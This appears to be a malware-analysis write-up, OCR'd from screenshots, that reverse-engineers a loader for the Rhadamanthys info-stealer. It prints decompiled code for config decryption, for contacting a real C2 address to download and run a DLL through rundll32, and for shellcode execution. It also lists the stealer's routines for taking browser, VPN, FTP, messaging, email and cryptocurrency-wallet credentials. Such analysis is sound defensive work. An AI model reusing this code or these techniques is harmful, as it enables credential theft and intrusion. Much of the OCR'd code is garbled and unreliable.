B4 Dump 1 | B4 Dump 2 | B4 Dump 3 | 4 Dump 4 4% Dump 5 & watch 1 | [x=] Lt
Address | Hex ASCII

FFS707A3| 8B FF 55 8B|(EC 8B 55 08|52 ES8 26 00|00 00 8B 4D |LWU.1.U.Re&....M
F7L707B2 |14 89 01 2E|45 10 OF 87|9A DE FF FF|8BB 45 0OC B85 ,EDK’YE
FFS707C3|CO 74 06 83|60 04 00 89|10 33 CO 5D|C2 10 00 90|At.. veaad JA...

Disable hooks

Except for ntdll.dll, the loader will check the following DLLs:

1. User32.dll
2. Advapi32.dll
3. Ole32.dIl

e_check_hooks_on_dlls sub 8936(
(int)"USER32.d11",
(int)}L"¥5ystemroot®\\system32\\WSER32.4d11",
(int (_ cdecl *){int, int, unsigned int))sub 8932,
8);

e_check hooks on_dlls sub 8938(
(int)"ADVAPI32.d11",
(int)L"¥5ystemroot®\\system32\\ADVAPI32.d11",
(int {_ edecl *)(int, int, unsigned int))}sub 8932,
aj);

e_check_hooks_on_dlls sub 8936(
(int)™OLE32.d11",
(int)L"¥Systemroot®\\system32\\OLE32.d11",
(int {  ecdecl *}{int, int, unsigned int))}sub 8332,
8);

Check for hooks in other DLLs

The entire activity can be seen in the following graph (Was lazy so I just copy paste this from my previous blob)
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CreateFileA CreateFileA

Data: E9 55 00 BA 30 Data: B8 55 00 BA 30

' T

Mo

Do nothing CreateFileA Copy CreateFileA
Continue to other
function Data: B8 55 00 BA 30 Data: B8 55 00 BA 30

Check for hooks logic
Config Decryption

The config decryption occurs in a function named sub_3DD4, which is a function that will do various activities

that the main loader activity requires.

DWORD *_ cdecl e pre main_activity sub 3DD4(int *al)

1
_BYTE *v1; // esi
_DWORD *result; [/ eax
int v2[66]; // [esp+8h] [ebp-188h] BYREF

vl = (_BYTE *)ai[1];
e_decrypt_RC4 sub 2BAA(v2, (int)&unk_127FC, @x28u);
result = (_DWORD *)e_algo decrypt_config sub 2911(v2, 152, (int)vl, wl};
if ( *(_DWORD *)vl == "YHR!' )
1

result = { DWORD *)e_createMutex _sub 3E2D();

if ( lresult )

return e_download_and_execute_payload_sub 2B92((int)}vl, *al);

t

return result;

In sub_3DD4 we have two functions that will deal with the config decryption: sub_28AA and sub_2911.
sub_28AA

This function is basically just an RC4 algorithm
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result = al;

vd = B

*al = @;

al[l] = @&;

for [ 1 =0; 1 ¢« 256; H1 )}
*(( BYTE *}al + i + B) = i;

vl = 83

Ve = @83

do

1

if ((ve »=a3 )
va = @

. :
w7 = *({{_BYTE *)}result + v6 + B);

w8 = {unsigned _ intB}(wv4 + w7 + *{ BYTE *)}({v9 + al2});
+HviGs

+vig

vd = yg=

} = *({_BYTE *)result + v8 + 8);

Y A
*(({_BYTE *}result + v6 + 7
8 + B) = v?;

*(({_BYTE *}result + v

while { v6 ¢ 256 });
return result;

Config decryption
sub_2911

This function is also part of the decryption algorithm

vS = *al;
ve = al[1];
if [ a2 )
1
vi = ad;
v8 = a3 - (_DWORD)ad;
vl a2;
vl2 = va;
do
1
w5 = {unsigned __ intB}({v5 + 1);
vd = *((_BYTE *)al + v5 + B);
vB = {unsigned _ intB)}{v9 + vB};
vie = *((_BYTE *)al + v6 + B);
*((_BYTE *)al + v5 + 8) = vi@;

g
*I{_BYTE *}al + vb + B) = vO;
*7 = w7[vl2] ™~ *{{_BYTE *}al
+Hvi g
-=v13;

while { w13 };
1

al[l] = v6;

*al = v5;

return @;

Config decryption

When we step over sub_2911 dynamically, we can see the data that hold the encrypted config at the third

argument (address 42F6F8 in my case).

Press enter or click to view image in full size
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Before decryption

£ OGESFFFF :Eii 282911 I ECX— ouoomorE v
B13E 21524859 cmp rd ptr ds:[esi], 59485221 =
e v 75 13 = jne 283E29 et  Default (stdeal]) |5
; EE 12000000 Ea11 z2B2E2D (17 | esp] 00IEFDIC
H ZE1E B5C0 TEeST edx,sax g 98
I OO2E3ELD ~ TS 0A jne. 255229 . b 5013 F2rEFS rad. O04ZPGPS
E « | [ I:.— o O T
0018FDIC
| Whoump1 | @hoump2 | ehbump3 | 4oump4 | 4 Dump 5 [ ) wiatch 1 3{ 0015°CrC | 0000009
QO15FD00 FGFE | rad.0042F6FE
. ‘ﬁ;n—"r— 0OLEFD0S DEH-EFGFB rad. 003ZFGFE

0042F6F8 |AB C4 98 OL|FF 75 SF 46|33 A3 30 22|3C 38 48 BF | [A««y[_F1L0" <HH,
O042FF08| 6F 07 00 98|98 FO 11 7F |03 BB 29 6F |B4 AB Z1 64| 0., .80 ..s 197013 v (e
0042F718| 99 B9 17 A4|F1 40 8A SE|39 FA FF F3|SA SF 48 98| .7 ,Gha. ATiydz Wl M AEBGC [OnEcZiE:

2 a2l 4c 2 FC_IEIpe £C 03 [ B . _~C _o0lan 060 04 I"n e ﬂﬁ.m’! [YEST) nn-.-r.:'r.'n:.l ARET ™1

After decryption

EB OBEEFFFF call zezo1i

B3C4 add esp,ic

E:I.!E 21524!55 cmp dword ptr ds:[esi],594E
- jne 2B3E2D

Ee 12000000 call 2B3E2D

85C0 TEST 2ax,eax
¥ 73 0A jne 2B3E29

@ebump3 | Bouwmpd | glpumps | @ watchy | el

e
00 00 O0 0D(4& 4D 6B CF[F3 34 32 45|[RHY..,.FMKI0O4BI
91 B2 F4 70|68 74 74 TO|3A 2F 2F 31|@=fa.=ophttp: //1
30 39 2E 31|36 30 2E 39|39 2F 62 &C|85.209.160.95/b1
042F728|6F 62 2F 74|6F 7O 2E 60|70 34 00 50|BA 55 CB SE|ob/top.mp4.PexE.

Config decryption

In our case, we can see that the C2 will be http://185[.]209.160.99/blob/top.mp4

Network
To start the network activity, the loader first collects two key pieces of information from the machine:

1. The default language using GetUserDefaultLangID
2. The Locale using GetLocaleInfoW

Then, the same function will start to set the user-agent to send the data to the C2 which is the decrypted config we

Saw.

= ((int (__stdcall *)}(int, char *, int))ptr_GetUserDefaultLangID)(B9, w23, 16);
{(«cld (__stdecall *)}({_DWORD))ptr_GetLocaleInfoW){vd};
18 = ((int (__stdcall *)}{int, char *, int)})ptr_GetUserDefaultLangID)(%®, v24, 16);
{{ucld (_ stdcall *}({ DWORD))ptr_GetlLocaleInfol)(vla};

Collect information about the machine
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LODWORD(v17) = “"curl/5.9";
v26 = ((int (*)( _DWORD, int, const char *, ...))loc_ 1ACA48)(
v27 + 90,
255,
"CSRF-TOKEN=¥s; LANG=¥s",
(const char *)v27,
v22};
dword_16618 = (int)&unk 13948;
dword_1661C (int)}"User-Agent™;
HIDWORD(v1G) = 5;
LODWORD( v1E) "close";
gword_16628 = sub SEE9({v17};
dword _1662C = (int)&off _13884;
dword 16636 = (int)"Connection™;
gword 16634 = sub SEE9(v1e);
gword_16648 = v27;
dword_16668 = v2E;
HIDWORD(v1S) = 3;
LODWORD(v15) = "GET";
dword_16648 = (int)&unk 13A2C;
dword 16644 = (int)"X-CSRF-TOKEN";
dword 16654 = (int}iunk 13878;
dword 16658 = (int)}"Cookie™;
dword_1665C = v13;
dword_16663 = (int)&unk_138C4;
dword_1666C = (int)"Host";

Set the User-Agent

To communicate, the loader dynamically resolves multiple functions such as socket, WSAlotcl, and
CreateCompletionPort to use the IOCP socket model.

v4d = ptr_socket(a2, 1, 8);
v = vd;
if ( v4 == -1 )
1
Error = ptr_WSAGetLastError();
LABEL 4:

sub_1181A(*( DWORD *)(al + 8), Error};
return -1;

if ( !ptr_SetHandleInformation(v4, 1, @) )

LastError = ptr_GetLastError(};

sub _1181A(*(_DWORD *)(al + 8), LastError);
LABEL 8:

ptr_CloseSocket(v5);

return -1

¥
if (int]k_w_CreateCompletiunport_sub_FF35k*(_BHDRD *y(al + 8), al, v5, a2, @) € @ )}

if ( ptr_ioctlsocket(as, Ox3804667E, &v1d) == -1 )
{
Error = ptr_WSAGetLastError();
_ABEL_3:
sub_1181A(al, Error);
return -1;
if ( !ptr_CreateCompletionport(a3, *{_DWORD *)(al + 38), a3, @) )

{

Network activity
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The loader uses WSAIoctl to invoke a handler for LPFN_CONNECTEX to use the ConnectEx function.
Press enter or click to view image in full size

return e_w_WSAToctl sub 11203(al, @x25A287B9, Ox4G60DDF3, @xESTEEISE, Bx3EAE743C, ( DWORD *)al);

int _ cdecl e_w WSAToctl sub_11283(int al, int LPFN_COf

TEX, int a3, int ad, int a5, _DWORD *ad)

5 1

*, int, _DWORD *, int, _DWORD **, _DWORD, _DWORD))ptr WSAToctl)(

2,
9) != -1)
return 1;
b = @3

return 8;

Getting ConnectEx
Eventually, the loader communicates with the APIs WSARecv & WSASend.

Press enter or click to view image in full size

if { ((int (_ stdeall *){_DWORD, _DWORD *, int, _DWORD **, DWORD, DWORD *, _DWORD))ptr WSASend)(
*(_DWORD *)(v7 + 112),
ad,
a5,
&z2,
9,
vB + &4,

8) )
{

if ( ptr_GetLastError(vil) != 997 )

1

Error = ptr_WSAGetLastError();

if ( ({int (_ stdcall *){_DWORD, int *, int, int *, int *, unsigned int ¥, _DWORD))ptr_WSARecv)(
*({ DWORD *){v2 + 112),

if ( ptr_GetLastError() != 997 )

1
if ( ptr_WSAGetLastError() > 8 )

Send & Recieve data
If we want to observe dynamically the data that is sent to the C2, do the following:

1. Set a breakpoint at the address where WSASend is being executed.

2. Follow in dump the address of the second parameter aka IpBuffers
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. To see it, just follow in dump

Press enter or click to view image in full size

50

FF75
FF75
FF7 &
FF15

3BC3

push
push
pus:
pus

call

£ax
dword ptr
dword peor
dword ptr
dword’ ptr
omp eax,ehx

551 ehuua]

55: febp+i
ds: [esi+7

ds: [zawsasend=]

o]

3

F

o~
llow in dump|is

11
1

1 ' _lsi [esp+1d] 00000000
Whpume1 | ghoump2 | gl Mma.l_ll'"

00]2C Fg 32 0o -g}‘F[?“DW I.rj deP z o

T AE €D 22 00|00 00 OO0 00 . 0. .0m3:....-
0915FA88 ol gs 22 oojgo Fa s o] 4., .. 283,30,
Observing data send to the C2
Address | Hex ASCII
0072327C |47 45 54 20|2F 62 &C &F (62 2F 74 &F |70 2E &0 70| GET /blob/top.mp
DO72328C (34 20 48 54|54 50 2F 31|2E 31 0D OA |48 6F 73 r4| 4 HTTP/1.1..HOST
DO72329C (3A 20 31 38|35 2E 32 30|39 2E 31 36|30 2E 39 39|: 185.209.160.99
0OF232AC| 0D OA 55 73|65 72 2D 41|67 65 6E 74|3A 20 &3 7L |..User-Agent: cu
007232BC |72 6C 2F 35(2E 39 OD DA|43 6F 6E GE|65 63 74 69|r1/5.9..Connecti
D07232CC|6F 6E 3A 20|63 6C &F 73|65 OD DA 58|2D 43 53 52|on: close..¥-CSR
0072320C |46 2D 54 4F |4E 45 4E 34|20 4F 53 34(35 76 62 35 |F-TOKEN: 0S45vbs
00723 2EC i 34 T9 4R 4AKICN 4AF 4C 47137 AF 48 TR AnNAvAQHERPNERTARY
DO7232FC (35 49 77 4C |73 R
DO72330C ( 2F 54 6F 2F |50 IF
DO72331C (50 59 72 SA|G8 10
00F2332C | 6D 4F 41 30|31 1=
DO72333C (3D 0D 0OA 43 |6F =
0072334C (54 4F 4B 45 |4E 18
DO72335C(7FEe 34 39 48|46 W
DO72336C (4C 73 6A 6F |58 o
0072337C | 2F 50 41 SO|6E 6A 2B GE|SA 43 72 77|46 50 59 7Z| /PAPnJ+nZCrwFPYT
0072338BC|5A 58 71 62|49 6F 45 &C (71 4F 71 64|30 6D 4F 41|Z¥qbIoElglqdomdA
0072339C | 30 31 4A 59|46 37 49 74|68 72 56 &7 (3D 3D 2B 20| 01I¥FFIthrvg==;
007233AC | 4C 41 4E 47 |3D 68 &5 2D |49 4C 0D OA|OD 0A OD 00| LANG=l .....

Observing data send to the C2

Loader’s goal

After performing its various capabilities and tricks, the loader will execute its main goal.

1. The loader will download a DLL from the C2

2. Write it to the disk with the name of nsis_uns[xxxxxx].dll

3. Spawn Rundll32 to execute the DLL with the export function “PrintUIEntry” which is a name of a

legitimate export function of the printui.dll.

Press enter or click to view image in full size
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ptr_snwprintf(str _nsis_uns 1, 260, L"ZXAPPDATARX\\nsis uns¥Bdx.dll™, TickCount);
if ( ptr | Expand:nv;ranment tringsW{str_nsis_uns_dll, var_dst_msis_dll, 26@) )
FileW = ptr_CreatefileW(var_dst_nsis_dll, @x40000000, @, @, 2, @, @);
if { Filew != -1}
B | Set the string "nsis_uns[xxooxx].dil” |
vig = ptr_WriteFile(Filew, w52, w46, 8v47, 8);
ptr_CloseHandle{Filew); - - -
if ( v48 ) |Creating the nsis dil on disk |
{ ok :
if ( vs6 ) |ertmg the file I
{
vlg = ptr_| snwpr':.ntf( /56, 1624, L \"Xs\",PrintUIlEntry ", var_dst_nsis_dll};
if ( !sub_3A14(( WORD *}(vS6 + 2 * v19), 4896 - w19, &va7, wdl, w4l ) 3
{
'J'.a‘-iﬁr‘l'h'« = ptr_GetModuleHandleA( “kernel32.dll"); : P
= ModuleHar r?e,, X . |Sett|ng the export "PrintUlEntry" |
:|.f ( !ptr| wowsdDJ.sabI.ehlowﬁ-dFsRedlr'ectmn 2)
ptr_kowsdDisablelowsaFsRedirection_2 = (int (_ stdcall *)(_DWORD))ptr_GetProcAddress(
ModuleHandled,
"WowedDisableWows4FsRedirection™);
if ( !ptr_WowGdReverthowbdFsRedirection_2 )
ptr_kWowbBdRevertWowsdFsRedirection 2 = (int (_ stdcall *){_DWORD))ptr_GetProcAddress(
"rows4Revertiows4FsRedirection™);
if ( ptr_wowsdDisableliowbdFsRedirection_2 )
ptr' Iwwﬁdrbzsablew’aw&iFsRednrectLon 2(& 48);
= str_nsis_uns_dl
:.f { ptr‘ ExpandEneronm&n‘tStr‘mgsH(
L"¥Systemroot¥\\system32\\rundl132.exe”,
str_nsis_uns_dll,
268) )
if ( is_aswhook_dll_exist )// if aswhook.dll not found
{
ptr_Colnitialize(®);
if { sub_3BD&() )
w22 = sub 634D({v21, w56, @);
else
vad = g _WMI_sub_€908(val, w21, v56, @);
if (w22 3=8)
ptr_sleep(288@);
ptr_CoUnInitialize_2();
elze £f if aswhook.dll not found
1 - -
ptr GetStartupInfoll{v32); IExecutlng Rundll32 to run the nsis dll I
v3L |= exseu; —
if ( ptr_CreateProcesshW(v2l, v56, @, @, @, @, @, @, v3e, vi@) )
Loader goal

NSIS Module: The Rhadamanthys stealer

The Nsis module consists of two parts:

1. A loader (the Nsis module before unpacking)

2. The actual stealer

NSIS Loader

The loader is executed via a very long command that changed in every iteration
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UZ2LhC

RIEnfg+h:

Nsis module command

The interesting thing about the NSIS loader is that there are many loaders out there, but their detection rate is very

low!

No security vendors and no sandboxes flagged this file as malicious

92a7c3296a561f39795f821173e69d 1fefiddfIabdcaadcbbbd90945e 794588

CAUserswserAppData\Roaming'nsis_uns6252c6 dil

pedll assembly deteci-debug-environment idle long-sleeps  G4bits

X Community Score W
No security vendors and no sandboxes flagged this file as malicious
AT7bbeb2ccTaf1de14falaa2ba23adaa9109f97b9ed9376bae1589d7a4d05a8hd
ftmpfcachelexiracted_files/add975e60e08d2669126e772932cd12deB23482 bin
: pedll E64bitz  aszsembly deteci-debug-environment long-sleeps  idle
X Community Score v

Nsis loader low detection rate

For the loader behavior, the NSIS loader just allocates data using LocalAlloc and copies it to mapped memory

using MapViewOfFile and memmove. Eventually, it will jump to the shellcode address.

Press enter or click to view image in full size
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P __—1Allocate data for shelicode
v12 = (DWORD *)LocalAlloc(@x48u, v1® + 16i64);
i (v12)
1
*(_QWORD *}v12 = vil; =
memmove(v12 + 2, vo, vi1); === COpY shellcode to virtual memory
h
¥
sult = (char *)LocalFree(v3);
Fi = CreateFileMappingW( (HANDLE )exFFFFFFFFFFFFFFFFi64, @i64, Bx4Bu, B, *v7, Bisd);
1 appingh;
Jiif { FileMappinghl } / Map the shellcode
15 = (__inte4 (_ fastcall *}(_ QWORD)}MapViewOfFile(FileMappingh, @x26u, @, @, @i6d);
vl6 = v15;
if ( v1s )
1
ptr_shellcode = v15;
memmove (v15, v7 + 2, *(_QWORD *)v7);

*(_QWORD *)((char *)vle + 66) = qword_ 18B8E4AS;
j_ptr_shellcode(( inte4)v7);

, VOTLIGENT AR, N Jump to the shellcode address

Loader main goal

Due to time constraints, I will not display this shellcode, however, it is just a small shellcode that unpacks and

inject into the memory the Rhadamanthys stealer itself.

Rhadamanthys stealer capabilities

Finally, we arrived at the stealer himself!!!

Disclaimer: because of not abling to dynamically analyze the sample when the C2 was on, I only got the stealer

from the following tria.ge sandbox link[11].
Also, for this part, I will only focus on the stealing capabilities and its targets.
Stealing KeePass passwords

The malware appears to be able to use the DLL KeePassHax[12], an open-source tool used to decrypt the

password database.

vs5[@] = {_ inte4)"/bin/KeePassHax.d1l™;
/55[1] = (__inte4}"/bin/runtime.exe™;
Keepass

Usage of SQLite

The malware can collect and extract data using SQLite

Press enter or click to view image in full size
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"SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14)
"="'sqlite_sequence' AND coalesce(rootpage,1)»8");
if ( Ivds )
w15 = sub 91984(
a2,
al,
"SELECT "CREATE IMDEX wacuum_db." || substr{sgl,14)
iF  1vis )

w15 = sub_91984(
al,
al,

"SELECT 'CREATE UNIQUE INDEX wacuum db.' || substr(sql,21)

"REATE UNIQUE IMDEX X'");
if ( lvas )
{
w15 = sub_91984(
az,

al,
"SELECT "INSERT INTO wacuum_db." || quote(name)
"FROM main.sqlite master WHERE type =

Sqlite

Target multiple browsers

"table' AND name!="sqlite sequence’

FROM sqlite mazter WHERE type='table' AND name!"

FROM sqlite_master WHERE sql LIKE "CREATE IMDEX X' =);

FROM sqlite master WHERE sql LIKE °C"

|| * SELECT * FROM main.' || quote(name) || ";'"
AND coalesce(rootpage,l1)»@”);

The malware target the following browsers in their info-stealing activity:

1. Coc CoC
2. Pale Moon
3. Sleipnirb
4. Opera

5. Chrome

6. Twinkstar
7. Firefox

8. Edge

Press enter or click to view image in full size

“SELECT wrl FROM (SELECT * FROM emoz_annos INNER JOIN moz_places OM moz_annos.place_id=moz”

laces.id) t GROUP BY ploce_id™,

int)w3?, (unsigned imt)&v3B, 1, «28, {_ int6d)8wa3);

w37,

"SELECT title, wrl FROM (SELECT
"ks.fk=moz_places.id)”,

w37 = "ChremePortable”;
if { w35 )

vivt:

! mm_loadu_sil28((const _ wi28i “)sub_iCE@4(EvE7, @i6d, @i64));
Wwi2 = 8;

(va, L*\\Web Data®);
igned int)sub 1675a(va, 8v33
signed int)]
= _mm_loadu_sil28{{const _ ml2&i
=4,

2 "Twinkstar®}

(w8, L™\\Heb Data Ts4"),
(unsigned int)sub_16754(vo, &vE3})) )

| w38 = sub_1B514(&va3);

w39 = v3B;
if ( v3s )
{
! = “name™;

= "gard_nunber_encrypted”;
= “gxpiration_menth”;

= “axpiration_year®;

6 = "name_on_card";

3 = “origin®;

wB3[1] = {_ intes)"value™;

Browsers

)sub_1C6e4{Bua7, @63, eisd)),

* FROM moz_bookmarks IWNWER JOIN moz_places OM moz_bookmar™

lea rex, [rdx#13h]
lea rdx, aChromeExe ; “chrome.exe”
mov rls, ré
; CODE XREF: &_chrome_sub 2FDEC+1FS4j
[ rbx, [rdi]
lea rdx, alUzerDatabDir ; “--user-data-dir="

else if ( ptr_maybe stremp{az, L™\\CocCoc\\") )
{

return "Cocec™;

H

(vE);
iF { vs )
return [const char *)vs;

return “Unknown";

|

if ( ptr_saybe_stremp(aZ, L™\\Pale Moon\\") )
return “PaleMaan®

if { ptr_sayhe_ztremp(aZ, L*\\SleipnirS\\") )
return “Sleipairs®;

if { lptr_maybe_stremp{az, L"\\Opera Software‘\\") }
return “Unknowa";
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Target OpenVPN

The malware appears to get the profile, username, and password of OpenVPN.

vld4 = rofile";
; a;

L o]
|
|
-

= "username";
= B;
= "password”;
1C508(v13);
= sub_38848(v13, 3i64);
(vs )
sub_16588( (unsigned int)v13, (unsigned int)&wld4, 3, v5, (__int64)&v12};
if ( vi2.ml28i i64[@] && v12.m128i i64[1] )
sub 15FEC{al, "openvpn", &v12};
if { {unsigned int)ptr ExpandEnvironmentStringsW(L"¥USERPROFILEX\\OpenVPN", w22, 268i64) )

2o e
[
I

S -
= =]

iy

4 G

OpenVPN
Target steam accounts

The malware appears to aim at Steam’s config\loginusers.vdf which contains information about Steam’s users.

Press enter or click to view image in full size

39681 loc_39681: ; CODE XREF: e_steal valve sub 39588+771j
39681 lea rax, [rsp+2D8h+var_2A@]
39686 lea rdx, aSoftwareWows43 ; "SOFTWARE\‘\Wowe432Node'\WalvelSteam”
39680 mov rad, 1
39693 Xor réd, rad
39696 mov rcx, rsi
39699 mov [rsp+2D8h+var_2B8], rax
30969E call cs:gqword _C5C68
39644 test eax, eax
39646 jnz loc_398C3
396AC lea rcx, [rsp+2D8h+var 2438]
396B4 mov rg, rdi
396B7 Xor edx, edx
39689 call sub_3F248
396BE mov rcx, [rspt2D8h+var_2A8]
396C3 lea rll, [rsp+2D8h+var 24A3]
39603 lea rax, [rsp+2D8h+var_248]
39608 mov [rsp+2D8h+var_2B8], rill
396D5 lea rdx, aSourcemodinsta ; "SourceModInstallPath™
397C0 loc_397CD: ; CODE XREF: e_steal walve sub_3958@42BBTj
397CD ; e_steal valve_ sub_39588+2C51j
397CD mov rcx, rbx
39708 call cs:qword_CSECE
39706 lea rdx, aConfiglLoginuse ; "\\configi\\loginusers.wdf"
397DD Mo rcx, rbx
Valve

Target FileZilla passwords
The malware search for FileZila’s specific files:

1. recentservers.xml
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2. sitemanager.xml

These two files contain the passwords and other data of the FTP accounts.

e_search_filezilla recentservers_xml_sub_314F8 proc near

sub rsp, 28h
lea rdx, aRecentserversX ; "recentservers,xml"”
mow rcx, ro

if ( vo & lunsigned int) R o + 2, LUFilezilla") )

1
vlG = @;
13 = _mm_loadu_sil128((const _ ml28i *)sub 1Ce@4(v25, @icd4, Bi6d));
15 = “host™;
vig = @;
vl7 = "user™;
V28 = @;
w19 = “password";
w22 = 8;
w2l = "port”;
v24 = 8;
w23 = "keyfile™;
v12 = mm_loadu_ sil28(({const _ ml28i *)sub_1CeB4(v25, Bi6d, 9i6d));
sub_1C598(v14);
vi@ = ( ml128i **)sub 1C618(v14, 1i64);
11 = v1e;
if ( vie )
1
A=
unsigned int)sub_16754(a3, &v12) )
inted)via, &vi2);
(viZ.m128i_i64[@]);
— v7, L"\\sitemanager.xml");
Filezilla
Target CoreFTP

ptr_snwprintf(v4s, 528i64, L"SOFTWAREM\FTPWare\\CoreFTP\\Sites\\¥s", (char *)v3 + 28);
sub_17F08(-2147483647164, w36, v4d, Ru3z);
if ( &v32 != (_ ml28i *)v32.m128i ie4[@] )

i
v = v32.m128i isa[1];
w5 = @i64;
vE = Bi64;
w7 = Bi64;
if ( (_ml28i *)}v32.m128i_i64[1] != &v32 )
{
do
{
if ( (unsigred int)EEREEEEEEEEE < ( 0WORD *){vi + 16), L"Name") )
N

if ( (unsigned int)EHEEEIEEEEEEEREEE  * ( (WORD *)(v4 + 16), L"Host") )
A if ( (unsigned int) SRR ( OORD *){v4 + 16), L"User") )
! if ¢ (unsigned int) SRR < 0WORD *){v2 + 16), L"PW") )
¢ if ( unsigned int) IR * ( 'ORD *Y(va + 16), L"Port") )
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CoreFTP

Target Discord

The malware collects information from the discord directories, possibly to extract further data.

vS = L"Discord\\Local Storagel\\leveldb\\CURRENT";

va[2] = @isea;

vB[@] = (__inte4)L"discordptb\\Local Storage’\\leveldb\\CURRENT";

vB[1] = (__inte4)L"discordcanary\ilocal Storage\\leveldb\\CURRENT";
Discord

Collecting Telegram data

The malware targets Telegram desktop data which is located in encrypted files (such as D877F783D5D3EF8) in
the “tdata” directory.

e_desktop_telegram_config sub 3D258 proc near

push rbx

sub rsp, 28h

lea rdx, aConfigs ; "configs"”

mov rcx, ro

mow rbx, r8

call cs:qword_CSEF@

test eax, eax

jnz short loc_3D291

lea rdx, aDB77f783d5d3ef ; "\\DB77F783D5D3EF8C\\configs"

ptr_snwprintf({vle, 2608i64, L"¥%s)\\tdata\\key datas", v2);

if ¢ (unsigned int) I ¢, @i64, o) &% (vO[8] & exle) == @ )
sub_3D358(v18, v8, v7);

ptr_snwprintf(vle, 26@isd4, L"%s\\tdata", v2};

sub_3D3AC(vE, vi@, v7);

if ( v7 I= (_ inte4 *)}v7[0] )
sub_16184(al, "$[M]Telegram™, w7, (unsigned int)}{ve + 1}));

Telegram
Collecting information from various email

The malware target the following email clients:

1. Foxmail
2. Outlook
3. The BAT
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vZ24 = "email™;

w26 = "password”;

sub_1658@8((unsigned int)w28, (unsigned int)&v24, 2, (_DWORD)vZ, (_ inte4)&v23);
if ( v23.m128i_ic4[e] )

1

if ( v23.ml128i i64[1] )
sub_15FEC(al, "foxmail"”, &w23};

Emails

Extracting web credentials using Vaultcli functions

lea rdx, aVaultenumerate ; "VaultEnumerateVaults"
mov rcx, rbx
call cs:ptr_GetProcAddress
lea rdx, aVaultenumerate @ ; "VaultEnumerateItems"
maw rcx, rbx
maw rdi, rax
call cs:ptr_GetProcAddress
lea rdx, aVaultopenvault ; "VaultOpenVault"™
Mo rcx, rbx
mav rbp, rax
mav [rspteE8h+var B8], rax
call cs:ptr_GetProcAddress
lea rdx, aVaultfree ; "VaultFree"
maw rcx, rbx
moy rl2, rax
mov [rsp+eEBh+var_68], rax
call cs:ptr_GetProcAddress
lea rdx, aVaultclosevaul ; "VaultCloseVault"
mov rcx, rbx
mo rls, rax
mov [rsp+BEBh+var_7@], rax
call cs:ptr_GetProcAddress
lea rdx, aVaultgetitem ; "VaultGetItem"
Vault activity
Target WinSCP

The malware target sensitive registry keys of the WinSCP in order to collect information.
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L"Software\ \Wow6432Node\\Martin PrikryI\\WinSCP 2\\Sessions\\¥s",
(char *)}va7 + 28);
val = (_ inte4 *)&vI1;
= &vOl;
sub_17F9@(-21474836471i64, v2, v97, Bval);
if ( &91 I= (_ inte4 **}vIl )
1
vdd = (_ ml28i *)sub 1C618(v2, 1i64};
if ( v48

for (1= (_ inte4 *}v92; i I= (_ inted4 *)&91; i = (_ inted4 *}i[1] )

i if ( (unsigned int) R i [ 2], L"HostName™) )
! if ( (unsigned int) R i (2], L"Userlame") )
{ if ( (unsigned int) R i [2], L"Password”) )
£ if ( I(unsigned int) I (2], L'Portiumber™) )

if { (unsigned int)ptr_pos_RegOpenKeyExW(
-2147433647164,
L"software\\Martin Prikryl\\WinsCP 2\\Configuration\\Security”,
@ica,
1i64,
&vad} )

goto LABEL_121;
LODNDRD( /93) = 4;

1f ( (Lm_,lgned wﬂ’)_( 94, L"UseMasterPassword”, @i64, @ied, &vE3, &v93) )

LOBYTE JORD)vEE '= @83
(vo4);

WinSCP

Target CryptoCurrency entities

The malware target the following cryptocurrencies entities and wallets:

. Dogecoin
. Litecoin

. Monero
Qtum

. Armory

. Bytecoin
. Binance

. Electron

. Solar waller

—_
o

. Zap
. WalletWasabi
. Zcash

. Ronin

e e e
A W N R

. Avana
. OKX

—_
o3}
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v37[@] = {__inte4)"ronin-wallet@@axieinfinity.com™;
v36 = "webextensionfimetamask.io";

37[1] = (__ int64)"webextensionfiivigvam.app”;

37[2] = (__int64)"webextensionf@lokexwallet.io™;

v37[3] = (__inte4)"keplr-extensionfikeplr.app”;

v37[4] = {__inted)"webextension@@avanawallet.com™;

37[5] = (__int64)"{5799d9b6-8343-4c26-9ab6-5d2ad39884ce}";
37[6] = (__int64)"{d8ddfc2a-97d9-4c6@-8b53-5edd299b6674}";

v3i7[16] = @is4;
v37[7] (_ inte4}"{7cd42eecal-b3ed-4bed-aShf-82a5852b1l2dc}™;
v37[8] = (__int64)"{@a305005-c941-4830-83c0-B18eedIe3414}";

v37[8] = (__int64)"{1eef6779-85ff-4545-h7a3-8cOehc717ada}";
/37[18] = (__int64)"{6d72262a-b243-4dc6-8f4f-bed6cT4e@aB6]}";
v37[11] = (__inte4)"{e22a3e397-83d7-4622-bd8f-ecacaBcO9b277}";
v37[12] = (__inte4)"{aadl2bee-9e92-48ba-9578-5fafecfe2578}1";
37[13] = (__inte4)"{21a%eBea-7aad-daae-923c-ec8211F2779c}";
/37[14] = (__int64)"{b8b3a899-e006-4b59-881b-22c7365bef51}";
/37[15] = (_ int64)"{f4a17458-dc@1-4651-930e-ef2c4098e84c}";
Crypto

HKEY CURRENT_USER\SOFTWARE'Bitcoin\Bitcoin-Qt

HKEY _LOCAL_MACHINE\SOFTWAREWow6432Node\DeskSoft
HKEY CURRENT_USER\SOFTWARE\Dogeceoin\Dogecoin-0t
HKEY _LOCAL MACHINE\SOFTWAREWow6432Node\FlashFXP'\a
HKEY CURRENT USER\SOFTWARE\Litecoin\Litecoin-(it

HKEY CURRENT USER\SOFTWARE'\monero-projectimonero-core

Querying registry keys for digital coming entities from Joe[
Resolving APIs dynamically
The stealer is resolving dynamically his APIs using the GetModuleHandle and GetProcAddress API calls.

ptr_ntdll = ptr_GetModuleHandle("ntdll.d11"};

ptr_ZwClose = ptr_GetProcAddress(ptr_ntdll, "ZwClose™);

ptr_ZwOpenFile = ptr_GetProcAddress(ptr_ntdll, “ZwOpenFile");

ptr_RtlInitUnicodeString = ptr_GetProcAddress(ptr ntdll, "RtlInitUnicodeString™};
ptr_ZwQuerySystemInformation = ptr_GetProcAddress(ptr ntdll, "ZwQuerySystemInformation™);
ptr_ZwQueryInformationToken = ptr_GetProcAddress(ptr_ntdll, "ZwQueryInformationToken");
ptr_ZwQueryInformationProcess = ptr_GetProcAddress(ptr_ntdll, “ZwQueryInformationProcess");
ptr_ZwReadVirtualMemory = ptr_GetProcAddress(ptr_ntdll, "ZwReadVirtualMemory™);
ptr_ZwSetInformationFile = ptr_GetProcAddress(ptr_ntdll, "ZwSetInformationFile™);
ptr_ZwsuspendProcess = ptr_GetProcAddress(ptr ntdll, "ZwSuspendProcess™);
ptr_ZwResumeProcess = ptr_GetProcAddress(ptr_ntdll, "ZwResumeProcess"};
